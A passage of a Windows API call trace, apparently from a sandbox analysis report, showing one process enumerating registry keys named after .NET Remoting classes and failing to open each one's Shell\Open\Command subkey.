ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.913] SetLastError (dwErrCode=0x2) [0101.913] RegCloseKey (hKey=0x0) returned 0x6 [0101.913] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe53, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Channels.TransportHeaders") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Channels.TransportHeaders\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.913] SetLastError (dwErrCode=0x2) [0101.913] RegCloseKey (hKey=0x0) returned 0x6 [0101.913] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe54, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Contexts.Context") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Contexts.Context\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.913] SetLastError (dwErrCode=0x2) [0101.913] RegCloseKey (hKey=0x0) returned 0x6 [0101.913] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe55, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Contexts.SynchronizationAttribute") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Contexts.SynchronizationAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.914] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe56, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.InternalRemotingServices") returned 0x0 [0101.914] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.InternalRemotingServices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.914] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe57, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Lifetime.ClientSponsor") returned 0x0 [0101.914] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Lifetime.ClientSponsor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.914] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe58, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Lifetime.LifetimeServices") returned 0x0 [0101.914] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Lifetime.LifetimeServices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.914] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe59, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Messaging.OneWayAttribute") returned 0x0 [0101.914] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Messaging.OneWayAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.914] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Messaging.RemotingSurrogateSelector") returned 0x0 [0101.914] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Messaging.RemotingSurrogateSelector\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.914] SetLastError (dwErrCode=0x2) [0101.914] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.SoapAttribute") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.SoapAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.915] SetLastError (dwErrCode=0x2) [0101.915] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.SoapFieldAttribute") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.SoapFieldAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.915] SetLastError (dwErrCode=0x2) [0101.915] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.SoapMethodAttribute") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.SoapMethodAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.915] SetLastError (dwErrCode=0x2) [0101.915] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.SoapParameterAttribute") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.SoapParameterAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.915] SetLastError (dwErrCode=0x2) [0101.915] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.SoapTypeAttribute") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.SoapTypeAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.915] SetLastError (dwErrCode=0x2) [0101.915] RegCloseKey (hKey=0x0) returned 0x6 [0101.915] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe60, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri") returned 0x0 [0101.915] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.916] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe61, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapBase64Binary") returned 0x0 [0101.916] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapBase64Binary\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.916] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe62, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDate") returned 0x0 [0101.916] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDate\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.916] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe63, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDateTime") returned 0x0 [0101.916] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDateTime\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.916] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe64, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDay") returned 0x0 [0101.916] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDay\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.916] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe65, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDuration") returned 0x0 [0101.916] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapDuration\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.916] SetLastError (dwErrCode=0x2) [0101.916] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe66, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapEntities") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapEntities\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.917] SetLastError (dwErrCode=0x2) [0101.917] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe67, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapEntity") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapEntity\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.917] SetLastError (dwErrCode=0x2) [0101.917] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe68, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapHexBinary") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapHexBinary\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.917] SetLastError (dwErrCode=0x2) [0101.917] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe69, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.917] SetLastError (dwErrCode=0x2) [0101.917] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapIdref") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapIdref\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.917] SetLastError (dwErrCode=0x2) [0101.917] RegCloseKey (hKey=0x0) returned 0x6 [0101.917] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapIdrefs") returned 0x0 [0101.917] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapIdrefs\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.918] RegCloseKey (hKey=0x0) returned 0x6 [0101.918] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapInteger") returned 0x0 [0101.918] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapInteger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.918] RegCloseKey (hKey=0x0) returned 0x6 [0101.918] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapLanguage") returned 0x0 [0101.918] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapLanguage\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.918] RegCloseKey (hKey=0x0) returned 0x6 [0101.918] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapMonth") returned 0x0 [0101.918] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapMonth\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.918] RegCloseKey (hKey=0x0) returned 0x6 [0101.918] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapMonthDay") returned 0x0 [0101.918] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapMonthDay\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.918] RegCloseKey (hKey=0x0) returned 0x6 [0101.918] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe70, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapName") returned 0x0 [0101.918] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapName\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.918] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe71, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNcName") returned 0x0 [0101.919] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNcName\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.919] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe72, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNegativeInteger") returned 0x0 [0101.919] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNegativeInteger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.919] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe73, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNmtoken") returned 0x0 [0101.919] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNmtoken\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.919] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe74, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNmtokens") returned 0x0 [0101.919] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNmtokens\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.919] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe75, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNonNegativeInteger") returned 0x0 [0101.919] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNonNegativeInteger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.919] SetLastError (dwErrCode=0x2) [0101.919] RegCloseKey (hKey=0x0) returned 0x6 [0101.919] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe76, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNonPositiveInteger") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNonPositiveInteger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.920] SetLastError (dwErrCode=0x2) [0101.920] RegCloseKey (hKey=0x0) returned 0x6 [0101.920] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe77, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNormalizedString") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNormalizedString\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.920] SetLastError (dwErrCode=0x2) [0101.920] RegCloseKey (hKey=0x0) returned 0x6 [0101.920] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe78, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNotation") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapNotation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.920] SetLastError (dwErrCode=0x2) [0101.920] RegCloseKey (hKey=0x0) returned 0x6 [0101.920] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe79, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapPositiveInteger") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapPositiveInteger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.920] SetLastError (dwErrCode=0x2) [0101.920] RegCloseKey (hKey=0x0) returned 0x6 [0101.920] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapQName") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapQName\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.920] SetLastError (dwErrCode=0x2) [0101.920] RegCloseKey (hKey=0x0) returned 0x6 [0101.920] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapTime") returned 0x0 [0101.920] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapTime\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.921] SetLastError (dwErrCode=0x2) [0101.921] RegCloseKey (hKey=0x0) returned 0x6 [0101.921] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapToken") returned 0x0 [0101.921] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapToken\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.921] SetLastError (dwErrCode=0x2) [0101.921] RegCloseKey (hKey=0x0) returned 0x6 [0101.921] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapYear") returned 0x0 [0101.921] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapYear\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.921] SetLastError (dwErrCode=0x2) [0101.921] RegCloseKey (hKey=0x0) returned 0x6 [0101.921] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapYearMonth") returned 0x0 [0101.921] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Metadata.W3cXsd2001.SoapYearMonth\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.921] SetLastError (dwErrCode=0x2) [0101.921] RegCloseKey (hKey=0x0) returned 0x6 [0101.921] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.ObjRef") returned 0x0 [0101.921] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.ObjRef\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.921] SetLastError (dwErrCode=0x2) [0101.921] RegCloseKey (hKey=0x0) returned 0x6 [0101.921] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe80, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Proxies.ProxyAttribute") returned 0x0 [0101.921] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Proxies.ProxyAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.934] SetLastError (dwErrCode=0x2) [0101.934] RegCloseKey (hKey=0x0) returned 0x6 [0101.934] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe81, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.RemotingException") returned 0x0 [0101.934] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.RemotingException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.934] SetLastError (dwErrCode=0x2) [0101.934] RegCloseKey (hKey=0x0) returned 0x6 [0101.934] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe82, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.RemotingTimeoutException") returned 0x0 [0101.934] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.RemotingTimeoutException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.934] SetLastError (dwErrCode=0x2) [0101.934] RegCloseKey (hKey=0x0) returned 0x6 [0101.934] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe83, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.ServerException") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.ServerException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.935] SetLastError (dwErrCode=0x2) [0101.935] RegCloseKey (hKey=0x0) returned 0x6 [0101.935] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe84, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Services.EnterpriseServicesHelper") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Services.EnterpriseServicesHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.935] SetLastError (dwErrCode=0x2) [0101.935] RegCloseKey (hKey=0x0) returned 0x6 [0101.935] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe85, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Services.TrackingServices") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Services.TrackingServices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.935] SetLastError (dwErrCode=0x2) [0101.935] RegCloseKey (hKey=0x0) returned 